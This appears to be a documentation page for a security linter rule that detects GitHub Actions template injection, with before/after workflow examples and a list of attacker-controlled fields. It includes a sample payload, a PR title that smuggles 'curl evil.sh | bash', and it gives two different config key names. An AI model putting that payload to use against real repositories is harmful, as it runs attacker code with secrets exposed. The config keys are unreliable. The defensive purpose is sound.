Skip to main content
ISSUE-207CriticalQuickCLICI/CD Variables

Workflow inlines user input into a shell script

Control: Workflow must not inline user input into shell scripts· Config key: workflowMustNotInjectUserInputInScripts

📋 What is this?

A run: step inlines an attacker-controlled **free-text** github field directly into a shell command. The expression value is interpolated by GitHub *before* the shell parses it, so a malicious PR title, comment body, or branch name becomes part of the executed script. The check fires only on the genuinely injectable subfields (titles, bodies, ref names, commit messages, fork metadata, author identity) — numeric, boolean, enum and SHA fields are deliberately ignored because they cannot carry an injection payload.

⚠️ Impact

Template injection is the GitHub Actions equivalent of SQL injection. A PR titled foo; curl evil.sh | bash; #` becomes a runtime shell command with the workflow's secrets in scope. This is the #1 cause of secret exfiltration on GitHub Actions over the past two years.

🔧 How to fix

Bind the untrusted value to an env: variable first, then reference the env var from the shell. The shell quotes env-var expansion naturally, breaking the injection.

✗ BeforeThe PR title goes straight into the shell. `; curl evil.sh | bash; #` runs.
# .github/workflows/welcome.yml — ❌ Template injection
on: pull_request_target
jobs:
welcome:
runs-on: ubuntu-latest
steps:
- run: echo "Welcome ${{ github.event.pull_request.title }}!"
✓ AfterThe shell sees a single argument; quoting is automatic.
# .github/workflows/welcome.yml — ✅ Bind through env:
on: pull_request_target
jobs:
welcome:
runs-on: ubuntu-latest
steps:
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Welcome $PR_TITLE!"
# .plumber.yaml
github:
controls:
workflowMustNotInlineUserInputIntoShell:
enabled: true

💡 Tips

  • Flagged subfields (attacker-controlled free text): *.title, *.body, head.ref, head.label, head.repo.default_branch (and the workflow_run head_repository.default_branch), *.message, *.description, *.homepage, author.name, author.email, committer.name, committer.email, page_name, and github.head_ref.
  • Deliberately not flagged: github.event.repository.default_branch (the base repo's default branch is admin metadata, not attacker-controlled — only the fork's head.repo.default_branch is), pull_request.number, *.commits, head.repo.fork, event_name, author_association, *.sha, github.repository — integers, booleans, enums, SHAs or trusted metadata that cannot carry an injection payload.
  • github.repository, github.sha, and github.ref_name are derived from server-trusted state — safer but still worth scoping.
  • Recognized safe sink: an expression wrapped in toJSON(...) AND consumed inside a quoted heredoc (<<"EOF" / <<'EOF') is not flagged — toJSON escapes newlines (no heredoc-delimiter breakout) and the quoted heredoc disables $()/backtick expansion. Neither alone is enough: echo "${{ toJSON(x) }}" still runs $() inside the quotes, and a raw expression in a quoted heredoc can break out via a newline. The cleanest fix remains binding through env: and dereferencing "$VAR".
  • Pair with ISSUE-802 to also catch the trigger side of the same attack.

⚙️ Configuration

This control is configured in .plumber.yaml under the github section:

github:
  controls:
    workflowMustNotInjectUserInputInScripts:
      enabled: true

See the CLI documentation for the full configuration reference.